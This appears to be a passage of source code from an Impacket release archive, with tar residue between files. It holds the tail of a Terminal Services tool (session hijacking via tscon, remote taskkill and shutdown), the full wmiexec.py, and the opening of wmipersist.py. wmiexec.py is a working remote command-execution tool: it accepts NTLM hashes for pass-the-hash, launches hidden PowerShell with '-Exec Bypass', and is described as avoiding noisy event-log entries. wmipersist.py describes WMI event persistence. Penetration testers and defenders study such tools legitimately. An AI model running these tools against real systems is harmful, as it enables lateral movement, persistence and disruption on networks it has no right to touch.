self.sessions[SessionId]['Username'] = resp['ppBuff']['UserName'] if len(resp['ppBuff']['Domain']) and not len(self.sessions[SessionId]['Domain']): self.sessions[SessionId]['Domain'] = resp['ppBuff']['Domain'] self.sessions[SessionId]['Resolution'] = '{}x{}'.format( resp['ppBuff']['HRes'], resp['ppBuff']['VRes'] ) self.sessions[SessionId]['ClientTimeZone'] = resp['ppBuff']['ClientTimeZone']['StandardName'] def enumerate_sessions_info(self): # Get session info one by one smb = self.__smbConnection target_ip = self.__options.target_ip if len(self.sessions): with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip) as TermSrvSession: for SessionId in self.sessions.keys(): sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) self.sessions[SessionId]['flags'] = sessflags domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] if not len(self.sessions[SessionId]['Domain']) and len(domain): self.sessions[SessionId]['Domain'] = domain username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] if not len(self.sessions[SessionId]['Username']) and len(username): self.sessions[SessionId]['Username'] = username self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] def do_qwinsta(self): options = self.__options desktop_states = { 'WTS_SESSIONSTATE_UNKNOWN': '', 'WTS_SESSIONSTATE_LOCK' : 'Locked', 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', } self.get_session_list() if not len(self.sessions): print('No sessions found...') return self.enumerate_sessions_info() if options.verbose: self.enumerate_sessions_config() maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions]) maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 # maxUsernameLen = max([len(self.sessions[i]['Username'])+1 for i in self.sessions]) maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 maxIdLen = max([len(str(i)) for i in self.sessions]) maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 template = ('{SESSIONNAME: <%d} ' '{USERNAME: <%d} ' '{ID: <%d} ' '{STATE: <%d} ' '{DSTATE: <9} ' '{CONNTIME: <20} ' '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) template_verbose = ('{CLIENTNAME: <%d} ' '{REMOTEIP: <%d} ' '{RESOLUTION: <11} ' '{TIMEZONE: <15}') % (maxClientName,maxRemoteIp) result = [] header = template.format( SESSIONNAME = 'SESSIONNAME', USERNAME = 'USERNAME', ID = 'ID', STATE = 'STATE', DSTATE = 'Desktop', CONNTIME = 'ConnectTime', DISCTIME = 'DisconnectTime', ) header2 = template.replace(' <','=<').format( SESSIONNAME = '', USERNAME = '', ID = '', STATE = '', DSTATE = '', CONNTIME = '', DISCTIME = '', ) header_verbose = '' header2_verbose = '' if options.verbose: header_verbose = template_verbose.format( CLIENTNAME = 'ClientName', REMOTEIP = 'RemoteAddress', RESOLUTION = 'Resolution', TIMEZONE = 'ClientTimeZone' ) header2_verbose = template_verbose.replace(' <','=<').format( CLIENTNAME = '', REMOTEIP = '', RESOLUTION = '', TIMEZONE = '' ) result.append(header+header_verbose) result.append(header2+header2_verbose+'\n') for i in self.sessions: connectTime = self.sessions[i]['ConnectTime'] connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' disconnectTime = self.sessions[i]['DisconnectTime'] disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' row = template.format( SESSIONNAME = self.sessions[i]['SessionName'], USERNAME = userName, ID = i, STATE = self.sessions[i]['state'], DSTATE = desktop_states[self.sessions[i]['flags']], CONNTIME = connectTime, DISCTIME = disconnectTime, ) row_verbose = '' if options.verbose: row_verbose = template_verbose.format( CLIENTNAME = self.sessions[i]['ClientName'], REMOTEIP = self.sessions[i]['RemoteIp'], RESOLUTION = self.sessions[i]['Resolution'], TIMEZONE = self.sessions[i]['ClientTimeZone'] ) result.append(row+row_verbose) for row in result: print(row) def do_tasklist(self): options = self.__options with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: handle = legacy.hRpcWinStationOpenServer() r = legacy.hRpcWinStationGetAllProcesses(handle) if not len(r): return None maxImageNameLen = max([len(i['ImageName']) for i in r]) maxSidLen = max([len(i['pSid']) for i in r]) if options.verbose: self.get_session_list() self.enumerate_sessions_config() maxUserNameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 if maxUserNameLen < 11: maxUserNameLen = 11 template = ('{imagename: <%d} ' '{pid: <6} ' '{sessid: <6} ' '{sessionName: <16} ' '{sessstate: <11} ' '{sessionuser: <%d} ' '{sid: <%d} ' '{workingset: <12}') % (maxImageNameLen, maxUserNameLen, maxSidLen) print(template.format(imagename = 'Image Name', pid = 'PID', sessionName = 'SessName', sessid = 'SessID', sessionuser = 'SessUser', sessstate = 'State', sid = 'SID', workingset = 'Mem Usage' ) ) print(template.replace(' <','=<').format(imagename = '', pid = '', sessionName = '', sessid = '', sessionuser = '', sessstate = '', sid = '', workingset = '' )+'\n' ) for procInfo in r: sessId = procInfo['SessionId'] fullUserName = '' if len(self.sessions[sessId]['Domain']): fullUserName += self.sessions[sessId]['Domain'] + '\\' if len(self.sessions[sessId]['Username']): fullUserName += self.sessions[sessId]['Username'] row = template.replace('{workingset: <12}','{workingset: >10,} K').format( imagename = procInfo['ImageName'], pid = procInfo['UniqueProcessId'], sessionName = self.sessions[sessId]['SessionName'], sessid = procInfo['SessionId'], sessstate = self.sessions[sessId]['state'].replace('Disconnected','Disc'), sid = procInfo['pSid'], sessionuser = fullUserName, workingset = procInfo['WorkingSetSize']//1000 ) print(row) else: template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) print(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) print(template.replace(': ',':=').format('','','','','')+'\n') for procInfo in r: row = template.format( procInfo['ImageName'], procInfo['UniqueProcessId'], procInfo['SessionId'], procInfo['pSid'], '{:,} K'.format(procInfo['WorkingSetSize']//1000), ) print(row) def do_taskkill(self): options = self.__options if options.pid is None and options.name is None: LOG.error('One of the following is required: -pid, -name') return pidList = [] with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: handle = legacy.hRpcWinStationOpenServer() if options.pid is None and options.name is not None: r = legacy.hRpcWinStationGetAllProcesses(handle) if not len(r): LOG.error('Could not get process list') return pidList = [i['UniqueProcessId'] for i in r if i['ImageName'].lower() == options.name.lower()] if not len(pidList): LOG.error('Could not find %r in process list' % options.name) return else: pidList = [options.pid] for pid in pidList: print('Terminating PID: %d ...' % pid, end='') try: if legacy.hRpcWinStationTerminateProcess(handle, pid)['ErrorCode']: print('OK') else: print('FAIL') except Exception as e: LOG.error('Error terminating pid: %d' % pid) LOG.error(str(e)) def do_tscon(self): options = self.__options with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: try: session_handle = None print('Connecting SessionID %d to %d ...' % (options.source, options.dest), end='') try: session_handle = TSSession.hRpcOpenSession(options.source) except Exception as e: print('FAIL') if e.error_code == 0x80070002: LOG.error('Could not find source SessionID: %d' % options.source) else: LOG.error(str(e)) return if TSSession.hRpcConnect(hSession = session_handle, TargetSessionId = options.dest, Password = options.password)['ErrorCode'] == 0: print('OK') else: print('FAIL') except Exception as e: print('FAIL') if e.error_code == 0x80070002: LOG.error('Could not find destination SessionID: %d' % options.dest) elif e.error_code == 0x8007139f: LOG.error('Session in the invalid state. Did you mean %d -> %d?' % (options.dest, options.source)) else: LOG.error(str(e)) def do_tsdiscon(self): options = self.__options with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: try: print('Disconnecting SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) if TSSession.hRpcDisconnect(session_handle)['ErrorCode'] == 0: print('OK') else: print('FAIL') except Exception as e: print('FAIL') if e.error_code == 1: LOG.error('Maybe it is already disconnected?') elif e.error_code == 0x80070002: LOG.error('Could not find SessionID: %d' % options.session) else: LOG.error(str(e)) def do_logoff(self): options = self.__options with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: try: print('Signing-out SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) if TSSession.hRpcLogoff(session_handle)['ErrorCode'] == 0: print('OK') else: print('FAIL') except Exception as e: if e.error_code == 0x10000000: print('OK') return print('FAIL') if e.error_code == 0x80070002: LOG.error('Could not find SessionID: %d' % options.session) else: LOG.error(str(e)) def do_shutdown(self): options = self.__options with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: handle = legacy.hRpcWinStationOpenServer() flags = 0 flagsList = [] ShutdownFlags = [options.logoff, options.shutdown, options.reboot, options.poweroff] for k,v in zip(ShutdownFlags, ['logoff', 'shutdown', 'reboot', 'poweroff']): if k: flagsList.append(v) flagsList = '|'.join(flagsList) for k,v in zip(ShutdownFlags, [1,2,4,8]): if k: flags |= v try: print('Sending shutdown (%s) event ...' % (flagsList), end='') resp = legacy.hRpcWinStationShutdownSystem(handle, 0, flags) if resp['ErrorCode']: print('OK') else: resp.dump() print('FAIL') except Exception as e: print('FAIL') LOG.error(str(e)) def do_msg(self): options = self.__options with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: try: print('Sending message to SessionID: %d ...' % options.session, end='') session_handle = TSSession.hRpcOpenSession(options.session) if TSSession.hRpcShowMessageBox(session_handle, options.title, options.message)['ErrorCode'] == 0: print('OK') else: print('FAIL') except Exception as e: print('FAIL') if e.error_code == 0x80070002: LOG.error('Could not find SessionID: %d' % options.session) else: LOG.error(str(e)) if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Terminal Services manipulation tool.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # qwinsta: Display information about Remote Desktop Services sessions. qwinsta_parser = subparsers.add_parser('qwinsta', help='Display information about Remote Desktop Services sessions.') qwinsta_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON') # tasklist: Display a list of currently running processes on the system. tasklist_parser = subparsers.add_parser('tasklist', help='Display a list of currently running processes on the system.') tasklist_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON') # taskkill: Terminate tasks by process id (PID) or image name taskkill_parser = subparsers.add_parser('taskkill', help='Terminate tasks by process id (PID) or image name.') taskkill_parser.add_argument('-pid', action='store', metavar="PID", type=int, help='Specifies process id (PID)') taskkill_parser.add_argument('-name', action='store', help='Specifies process name (ImageName). Internally it will' 'execute tasklist to retrieve PID by ImageName.') # tscon: Attaches a user session to a remote desktop session tscon_parser = subparsers.add_parser('tscon', help='Attaches a user session to a remote desktop session.') tscon_parser.add_argument('-source', action='store', metavar="SessionID", type=int, required=True, help='Source SessionId') tscon_parser.add_argument('-dest', action='store', metavar="SessionID", type=int, required=True, help='Destination SessionId') tscon_parser.add_argument('-password', action='store', type=str, required=False, help='Destination Session\'s password') # tsdiscon: Disconnects a Remote Desktop Services session tsdiscon_parser = subparsers.add_parser('tsdiscon', help='Disconnects a Remote Desktop Services session.') tsdiscon_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to disconnect') # logoff: Sign out a Remote Desktop Services session logoff_parser = subparsers.add_parser('logoff', help='Sign out a Remote Desktop Services session.') logoff_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to sign out') # shutdown: Remote shutdown shutdown_parser = subparsers.add_parser('shutdown', help='Remote shutdown, affects ALL sessions and logged-in users!', description="Send Remote Shutdown event. Affects ALL sessions and logged-in users!") shutdown_parser_group = shutdown_parser.add_argument_group('Shutdown Flags [Multiple Choice]') shutdown_parser_group.add_argument('-logoff', action='store_true', help='Forces sessions to logoff.') shutdown_parser_group.add_argument('-shutdown', action='store_true', help='Shuts down the system.') shutdown_parser_group.add_argument('-reboot', action='store_true', help='Reboots after shutdown.') shutdown_parser_group.add_argument('-poweroff', action='store_true', help='Powers off after shutdown.') # msg: Send a message to Remote Desktop Services session (MSGBOX) msg_parser = subparsers.add_parser('msg', help='Send a message to Remote Desktop Services session (MSGBOX).') msg_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='Receiver SessionId') msg_parser.add_argument('-title', action='store', metavar="'Your Title'", type=str, required=False, help='Title of the MessageBox [Optional]') msg_parser.add_argument('-message', action='store', metavar="'Your Message'", type=str, required=True, help='Contents of the MessageBox') # Authentication options group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' 'target parameters. If valid credentials cannot be found, it will use the ones specified ' 'in the command line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.action is None: parser.print_help() LOG.error('Too few arguments...') sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if options.target_ip is None: options.target_ip = remoteName if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") tsHandler = TSHandler(username, password, domain, options) try: tsHandler.run(remoteName, options.target_ip) except Exception as e: traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/wmiexec.py000077500000000000000000000461341446174712300212620ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A similar approach to smbexec but executing commands through WMI. # Main advantage here is it runs under the user (has to be Admin) # account, not SYSTEM, plus, it doesn't generate noisy messages # in the event log that smbexec.py does when creating a service. # Drawback is it needs DCOM, hence, I have to be able to access # DCOM ports at the target machine. # # Author: # beto (@agsolino) # # Reference for: # DCOM # from __future__ import division from __future__ import print_function import sys import os import cmd import argparse import time import logging import ntpath from base64 import b64encode from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.krb5.keytab import Keytab from six import PY2 OUTPUT_FILENAME = '__' + str(time.time()) CODEC = sys.stdout.encoding class WMIEXEC: def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, noOutput=False, doKerberos=False, kdcHost=None, shell_type=None): self.__command = command self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__noOutput = noOutput self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__shell_type = shell_type self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr, silentCommand=False): if self.__noOutput is False and silentCommand is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() class RemoteShell(cmd.Cmd): def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False): cmd.Cmd.__init__(self) self.__share = share self.__output = '\\' + OUTPUT_FILENAME self.__outputBuffer = str('') self.__shell = 'cmd.exe /Q /c ' self.__shell_type = shell_type self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' self.__win32Process = win32Process self.__transferClient = smbConnection self.__silentCommand = silentCommand self.__pwd = str('C:\\') self.__noOutput = False self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd('\\') else: self.__noOutput = True # If the user wants to just execute a command without cmd.exe, set raw command and set no output if self.__silentCommand is True: self.__shell = '' def do_shell(self, s): os.system(s) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) lget {file} - downloads pathname to the current local dir ! {cmd} - executes a local shell cmd """) def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) def do_lget(self, src_path): try: import ntpath newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) fh = open(filename, 'wb') logging.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write) fh.close() except Exception as e: logging.error(str(e)) if os.path.exists(filename): os.remove(filename) def do_lput(self, s): try: params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') dst_path = dst_path.replace('/', '\\') import ntpath pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read) fh.close() except Exception as e: logging.critical(str(e)) pass def do_exit(self, s): return True def do_EOF(self, s): print() return self.do_exit(s) def emptyline(self): return False def do_cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: if PY2: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding))) else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = (self.__pwd + '>') if self.__shell_type == 'powershell': self.prompt = 'PS ' + self.prompt + ' ' self.__outputBuffer = '' def default(self, line): # Let's try to guess if the user is trying to change drive if len(line) == 2 and line[1] == ':': # Execute the command and see if the drive is valid self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: # Something went wrong print(self.__outputBuffer) self.__outputBuffer = '' else: # Drive valid, now we should get the current path self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = (self.__pwd + '>') self.__outputBuffer = '' else: if line != '': self.send_data(line) def get_output(self): def output_callback(data): try: self.__outputBuffer += data.decode(CODEC) except UnicodeDecodeError: logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' 'again with -codec and the corresponding codec') self.__outputBuffer += data.decode(CODEC, errors='replace') if self.__noOutput is True: self.__outputBuffer = '' return while True: try: self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(1) pass elif str(e).find('Broken') >= 0: # The SMB Connection might have timed out, let's try reconnecting logging.debug('Connection broken, trying to recreate it') self.__transferClient.reconnect() return self.get_output() self.__transferClient.deleteFile(self.__share, self.__output) def execute_remote(self, data, shell_type='cmd'): if shell_type == 'powershell': data = '$ProgressPreference="SilentlyContinue";' + data data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() command = self.__shell + data if self.__noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' if PY2: self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None) else: self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data, self.__shell_type) print(self.__outputBuffer) self.__outputBuffer = '' class AuthFileSyntaxError(Exception): '''raised by load_smbclient_auth_file if it encounters a syntax error while loading the smbclient-style authentication file.''' def __init__(self, path, lineno, reason): self.path = path self.lineno = lineno self.reason = reason def __str__(self): return 'Syntax error in auth file %s line %d: %s' % ( self.path, self.lineno, self.reason) def load_smbclient_auth_file(path): '''Load credentials from an smbclient-style authentication file (used by smbclient, mount.cifs and others). returns (domain, username, password) or raises AuthFileSyntaxError or any I/O exceptions.''' lineno = 0 domain = None username = None password = None for line in open(path): lineno += 1 line = line.strip() if line.startswith('#') or line == '': continue parts = line.split('=', 1) if len(parts) != 2: raise AuthFileSyntaxError(path, lineno, 'No "=" present in line') (k, v) = (parts[0].strip(), parts[1].strip()) if k == 'username': username = v elif k == 'password': password = v elif k == 'domain': domain = v else: raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k)) return (domain, username, password) # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Executes a semi-interactive shell using Windows " "Management Instrumentation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from ' '(default ADMIN$)') parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output ' '(no SMB connection created)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-silentcommand', action='store_true', default=False, help='does not execute cmd.exe to run given command (no output)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' '"%s"). If errors are detected, run chcp.com at the target, ' 'map the result with ' 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py ' 'again with -codec and the corresponding codec ' % CODEC) parser.add_argument('-shell-type', action='store', default='cmd', choices=['cmd', 'powershell'], help='choose a command processor for the semi-interactive shell') parser.add_argument('-com-version', action='store', metavar="MAJOR_VERSION:MINOR_VERSION", help='DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') parser.add_argument('command', nargs='*', default=' ', help='command to execute at the target. If empty it will ' 'launch a semi-interactive shell') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. " "See smbclient man page's -A option.") group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.codec is not None: CODEC = options.codec else: if CODEC is None: CODEC = 'utf-8' if ' '.join(options.command) == ' ' and options.nooutput is True: logging.error("-nooutput switch and interactive shell not supported") sys.exit(1) if options.silentcommand and options.command == ' ': logging.error("-silentcommand switch and interactive shell not supported") sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) if options.com_version is not None: try: major_version, minor_version = options.com_version.split('.') COMVERSION.set_default_version(int(major_version), int(minor_version)) except Exception: logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") sys.exit(1) domain, username, password, address = parse_target(options.target) try: if options.A is not None: (domain, username, password) = load_smbclient_auth_file(options.A) logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % ( repr(domain), repr(username), repr(password))) if domain is None: domain = '' if options.keytab is not None: Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, options.share, options.nooutput, options.k, options.dc_ip, options.shell_type) executer.run(address, options.silentcommand) except KeyboardInterrupt as e: logging.error(str(e)) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) sys.exit(1) sys.exit(0) impacket-impacket_0_11_0/examples/wmipersist.py000077500000000000000000000276031446174712300220270ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script creates/removes a WMI Event Consumer/Filter and link # between both to execute Visual Basic based on the WQL filter # or timer specified. # # Example: # # write a file toexec.vbs the following: # Dim objFS, objFile # Set objFS = CreateObject("Scripting.FileSystemObject") # Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) # objFile.WriteLine "Hey There!" # objFile.Close # # then execute this script this way, VBS will be triggered once # somebody opens calc.exe: # # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC # -vbs toexec.vbs # -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance # ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' # # or, if you just want to execute the VBS every XXX milliseconds: # # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC # -vbs toexec.vbs -timer XXX # # to remove the event: # wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC # # if you don't specify the password, it will be asked by the script. # domain is optional. # # Author: # beto (@agsolino) # # Reference for: # DCOM/WMI # from __future__ import division from __future__ import print_function import sys import argparse import logging from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import version from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL class WMIPERSISTENCE: def __init__(self, username='', password='', domain='', options=None): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__lmhash = '' self.__nthash = '' if 